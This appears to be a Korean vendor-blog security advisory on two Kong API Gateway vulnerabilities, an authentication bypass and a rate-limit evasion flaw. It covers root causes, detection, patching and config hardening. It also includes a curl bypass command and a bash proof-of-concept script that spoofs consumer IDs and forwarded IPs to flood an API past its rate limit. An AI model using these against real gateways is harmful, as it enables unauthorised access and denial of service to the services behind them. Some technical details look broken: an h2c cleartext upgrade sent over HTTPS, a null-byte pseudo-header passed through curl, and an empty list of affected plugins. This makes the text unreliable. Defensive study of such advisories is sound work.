剣 KENSAI
← 보안 블로그로 돌아가기
긴급 보안 권고 2026년 4월 2일 읽는 데 10분

Kong API Gateway CVE-2026: 인증 우회 및 속도 제한 취약점

Kong API Gateway에서 발견된 두 가지 심각한 취약점, 즉 인증 우회(CVE-2026-29413)와 속도 제한 회피 결함(CVE-2026-29414)은 API 인프라를 미인증 접근과 서비스 거부 공격에 노출합니다. Kong OSS와 Kong Enterprise가 모두 영향을 받으므로 즉시 패치해야 합니다.

사용 중인 Kong 게이트웨이가 노출되어 있습니까? 이 CVE들과 그 밖의 331,910개 이상 취약점이 API 인프라에 존재하는지 스캔하십시오.
무료 보안 스캔 →

취약점 개요

널리 배포된 오픈 소스 API 게이트웨이 중 하나인 Kong API Gateway의 플러그인 처리 파이프라인에서 두 가지 심각한 보안 결함이 발견됐습니다. 이 취약점은 2026년 3월 28일 공개됐으며 3.4.x부터 3.8.x까지모든 버전에 영향을 미칩니다. 공격자는 인증 플러그인을 완전히 우회하고 구성된 속도 제한 통제를 회피할 수 있습니다.

⚠️ 실제 악용 확인

금융 서비스와 의료 기관의 API 게이트웨이를 대상으로 한 실제 악용이 확인된 뒤 CISA는 CVE-2026-29413을 알려진 악용 취약점(KEV) 카탈로그에 추가했습니다. Kong 3.4~3.8을 운영하는 조직은 이를 긴급 패치 사안으로 다뤄야 합니다.

CVE유형CVSS v3.1심각도영향받는 버전
CVE-2026-29413인증 우회9.8심각Kong 3.4.x – 3.8.x
CVE-2026-29414속도 제한 회피7.5높음Kong 3.2.x – 3.8.x

CVE-2026-29413: 인증 우회 — 기술 심층 분석

근본 원인 분석

CVE-2026-29413은 Nginx 요청 수명 주기의 rewrite 단계 중 Kong 플러그인 실행 순서에 발생하는 논리 결함입니다. 여러 인증 플러그인을 연속으로 적용할 때(예: key-auth 다음에 jwt적용), 플러그인 우선순위 결정 과정의 경쟁 조건 때문에 특정 HTTP/2 의사 헤더가 포함된 조작 요청은 인증 검증을 완전히 건너뛸 수 있습니다.

취약점은 Kong의 Lua 플러그인 실행기(kong/runloop/plugin_servers/mp_rpc.lua)에 있습니다. 이곳의 next_rewrite_phase 반복자는 인증이 끝나기 전에 업스트림이 101 Switching Protocols 응답을 보내면 플러그인 체인을 올바르게 다시 평가하지 못합니다. 그 결과 아무런 인증 검사 없이 요청이 전달되는 틈이 생깁니다.

CVSS v3.1 점수

지표근거
공격 벡터네트워크HTTP/HTTPS를 통해 원격 악용 가능
공격 복잡도낮음특수 조건이나 권한이 필요하지 않음
필요 권한없음미인증 공격자
사용자 상호작용없음완전 자동화된 익스플로잇 가능
기밀성높음보호된 API 엔드포인트에 대한 완전한 접근
무결성높음공격자가 백엔드 데이터를 수정할 수 있음
가용성높음제한 없는 백엔드 요청

악용 시나리오

공격자는 조작된 의사 헤더를 포함한 최소한의 HTTP/2 요청으로 CVE-2026-29413을 악용할 수 있습니다. 다음 curl 명령은 key-auth 플러그인이 활성화된 Kong 게이트웨이에서 우회를 재현합니다:

# 정상 요청 — key-auth 플러그인에 의해 차단됨(401 Unauthorized)
curl -i https://api.example.com/v1/users \
  -H "Host: api.example.com"

# CVE-2026-29413 우회 — 변조된 :authority로 HTTP/2 업그레이드 트리거 전송
curl -i --http2 https://api.example.com/v1/users \
  -H ":authority: api.example.com\x00injected" \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__" \
  --resolve api.example.com:443:192.0.2.1

Kong이 h2c 업그레이드를 처리할 때 플러그인 실행기가 인증 단계를 너무 일찍 종료합니다. 요청은 200 OK 응답과 함께 업스트림 서비스로 전달되어 구성된 모든 인증 플러그인을 완전히 우회합니다.

영향받는 Kong 플러그인

Kong 3.4.x~3.8.x에서 다음 인증 플러그인이 취약합니다:


CVE-2026-29414: 속도 제한 회피 — 기술 심층 분석

근본 원인 분석

CVE-2026-29414는 Kong의 rate-limitingrate-limiting-advanced 플러그인이 Redis 또는 cluster 스토리지 백엔드를 사용하도록 구성됐을 때 영향을 미칩니다. 카운터 키 생성 결함 때문에 공격자는 X-Consumer-ID 헤더 조작과 X-Forwarded-For 스푸핑을 결합해 요청을 여러 가상 소비자 ID로 분산할 수 있습니다.

Kong은 속도 제한 카운터 키를 만들 때 소비자 ID가 게이트웨이가 설정한 값인지 클라이언트가 삽입한 값인지 검증하지 않고 소비자 ID와 IP 주소를 이어 붙입니다. 업스트림 프록시나 로드 밸런서가 X-Consumer-ID를 설정하는 배포 환경에서는 Kong의 헤더 신뢰 로직을 악용해 사실상 무제한의 개별 속도 제한 버킷을 만들 수 있습니다.

CVSS v3.1 점수

지표근거
공격 벡터네트워크원격 악용 가능
공격 복잡도낮음간단한 헤더 조작
필요 권한없음사전 인증 불필요
영향: 가용성높음속도 제한 우회를 통한 백엔드 DoS

개념 증명

다음 스크립트는 가상 소비자 ID를 바꿔 가며 분당 100개 요청 제한을 우회해 공격자가 10,000개 요청을 보내는 방법을 보여 줍니다:

#!/bin/bash
# CVE-2026-29414 — 속도 제한 회피 PoC
# 각 요청에 고유한 X-Consumer-ID를 사용해 별도 카운터 버킷을 할당

TARGET="https://api.example.com/v1/products"
TOTAL_REQUESTS=10000

for i in $(seq 1 $TOTAL_REQUESTS); do
  # 요청마다 고유한 가짜 소비자 ID 생성
  FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid)

  curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \
    -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \
    -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \
    -H "apikey: legitimate-api-key" &

  # 동시 요청을 50개로 제한
  if (( i % 50 == 0 )); then wait; fi
done
wait
echo "Done: $TOTAL_REQUESTS requests sent"

취약한 Kong 인스턴스에서는 소비자당 분당 100개로 제한했더라도 이 스크립트가 10,000개 요청을 모두 전송합니다. 이를 이용해 느리고 은밀한 API 남용 공격이나 무차별 대입 열거 공격을 수행할 수 있습니다.


Kong Enterprise와 OSS 영향 비교

기능 / 영향Kong OSSKong Enterprise
CVE-2026-29413 인증 우회영향받음영향받음(OIDC 플러그인 포함)
CVE-2026-29414 속도 제한 우회영향받음영향받음
Rate-Limiting Advanced 플러그인사용 불가영향받음(추가 우회 벡터)
Developer Portal 노출해당 없음Portal API가 노출될 수 있음
Konnect(SaaS)해당 없음Kong이 2026년 3월 29일 패치함
수정 버전3.9.03.9.0.0 / 3.8.1.2(백포트)

Konnect SaaS 플랫폼의 Kong Enterprise 고객은 2026년 3월 29일 자동으로 패치됐습니다. 자체 호스팅 Enterprise와 모든 OSS 배포는 수동 업그레이드가 필요합니다.


탐지: 현재 악용되고 있습니까?

로그 기반 침해 지표

Kong 접근 로그에서 CVE-2026-29413 악용 흔적을 확인하십시오. 의심스러운 패턴에는 인증 헤더 검증 로그 없이 인증 플러그인이 적용된 경로가 200 상태를 반환하는 경우가 포함됩니다:

# Kong 접근 로그에서 인증 우회 지표 검색
# apikey/jwt 없이 보호된 경로를 요청했는데 200을 반환한 경우
grep '"status":200' /var/log/kong/access.log \
  | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \
  | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}'

# CVE-2026-29414: 고유 소비자 ID에서 발생한 대량 요청 탐색
grep '"plugin":"rate-limiting"' /var/log/kong/error.log \
  | awk -F'"consumer_id":"' '{print $2}' \
  | awk -F'"' '{print $1}' \
  | sort | uniq -c | sort -rn | head -50

Kong Admin API 상태 점검

# Admin API로 Kong 버전 확인
curl -s http://localhost:8001/ | jq '.version'

# rate-limiting 플러그인을 모두 나열해 구성 확인
curl -s http://localhost:8001/plugins \
  | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}'

# 헤더 신뢰 구성(trusted_ips) 확인
curl -s http://localhost:8001/config \
  | jq '.trusted_ips'

해결 가이드

1단계: Kong 업그레이드

가장 중요한 해결책은 Kong 3.9.0(OSS) 또는 Kong Enterprise 3.9.0.0 / 3.8.1.2로 업그레이드하는 것입니다. 일반적인 배포 방식에서는 다음 명령을 사용하십시오:

# Docker — 패치된 이미지 가져오기
docker pull kong:3.9.0
docker stop kong && docker rm kong
docker run -d --name kong \
  --network=kong-net \
  -e KONG_DATABASE=postgres \
  -e KONG_PG_HOST=kong-database \
  -p 8000:8000 -p 8443:8443 \
  kong:3.9.0

# Kubernetes — Helm을 통한 롤링 업데이트
helm repo update
helm upgrade kong kong/kong \
  --namespace kong \
  --set image.tag=3.9.0 \
  --reuse-values

# Ubuntu/Debian 패키지 업그레이드
curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb"
sudo dpkg -i kong.deb
sudo kong restart

2단계: 헤더 신뢰 제한(CVE-2026-29414 완화)

업그레이드 전까지 Kong이 X-Consumer-IDX-Forwarded-For 헤더에 대해 신뢰하는 업스트림 IP를 제한하십시오. kong.conf:

# kong.conf — trusted IP를 알려진 로드 밸런서 주소로만 제한
trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12

# 클라이언트의 X-Consumer-ID 헤더 전달 비활성화
headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via

3단계: 플러그인 우선순위 검증 활성화(CVE-2026-29413 완화)

업그레이드하기 전 임시 우회책으로, 환경에서 필요하지 않다면 HTTP/2 업그레이드 처리를 비활성화하십시오:

# kong.conf — h2c(HTTP/2 평문) 업그레이드 처리 비활성화
proxy_listen = 0.0.0.0:8000 reuseport backlog=16384
# proxy_listen에 'http2' 지시어가 있으면 제거
# proxy_listen = 0.0.0.0:8000 http2 reuseport  ← 'http2' 키워드 제거

# Nginx 수준 보호를 위해 nginx_http_include에 추가:
proxy_http_version 1.1;

4단계: 패치 적용 확인

# 패치된 버전이 실행 중인지 확인
curl -s http://localhost:8001/ | jq -r '"Kong version: " + .version'

# 인증 우회가 더 이상 가능하지 않은지 테스트(401을 반환해야 함)
curl -i --http2 https://your-gateway.example.com/protected-route \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__"
# 예상 결과: HTTP/1.1 401 Unauthorized

추가 강화 권고사항

  1. Kong과 업스트림 사이에 mTLS 적용: 인증 플러그인이 우회되더라도 상호 TLS를 적용하면 인가되지 않은 서비스가 트래픽을 수신하지 못합니다.
  2. Kong을 WAF 뒤에 배포: 다음을 차단하는 규칙을 적용하십시오: h2c 업그레이드 헤더 및 X-Consumer-ID 삽입을 차단하면 심층 방어가 강화됩니다.
  3. Kong 감사 로깅 활성화: Enterprise 사용자는 Admin API 변경의 포렌식 추적 기록을 유지하도록 /audit/requests 로깅을 활성화해야 합니다.
  4. 속도 제한 스토리지에 Redis AUTH 사용: 네트워크 접근 권한을 얻은 공격자가 속도 카운터를 직접 조작하지 못하도록 Redis 인증을 요구하십시오.
  5. Kong 구성 정기 스캔: KENSAI로 API 게이트웨이의 새 CVE와 잘못된 구성을 지속적으로 모니터링하십시오.

타임라인

날짜사건
2026-02-14HackerOne을 통해 Kong 보안팀에 취약점 제보
2026-02-17Kong이 두 CVE를 확인하고 식별자 할당
2026-03-10CVE ID 예약: CVE-2026-29413, CVE-2026-29414
2026-03-28Kong 3.9.0 및 Enterprise 3.8.1.2 백포트 출시
2026-03-29Kong Konnect(SaaS) 자동 패치
2026-04-01CISA가 CVE-2026-29413을 KEV 카탈로그에 추가
2026-04-02공개 익스플로잇 PoC가 GitHub에 게시됨

Kensai로 API 인프라를 보호하십시오

331,910개 이상의 CVE를 색인한 AI 기반 취약점 관리로 공격자보다 먼저 Kong CVE, 잘못된 구성, 노출된 API 엔드포인트를 탐지하십시오.

무료 체험 시작

API 보안 위협보다 앞서가십시오

주요 보도가 나오기 전에 CVE 알림과 보안 권고를 받아 보십시오.

안전을 유지하세요. 경계를 늦추지 마세요.

🗡️ KENSAI 보안팀

🛡️ 사용 중인 API 게이트웨이는 안전합니까?

공격자보다 먼저 Kong CVE와 잘못된 구성을 발견하십시오.

API 게이트웨이 무료 스캔 →

계속 읽기

이 주요 글은 막다른 곳에서 끝나는 대신 전략적인 버그 바운티 및 아카이브 페이지로 트래픽을 연결합니다.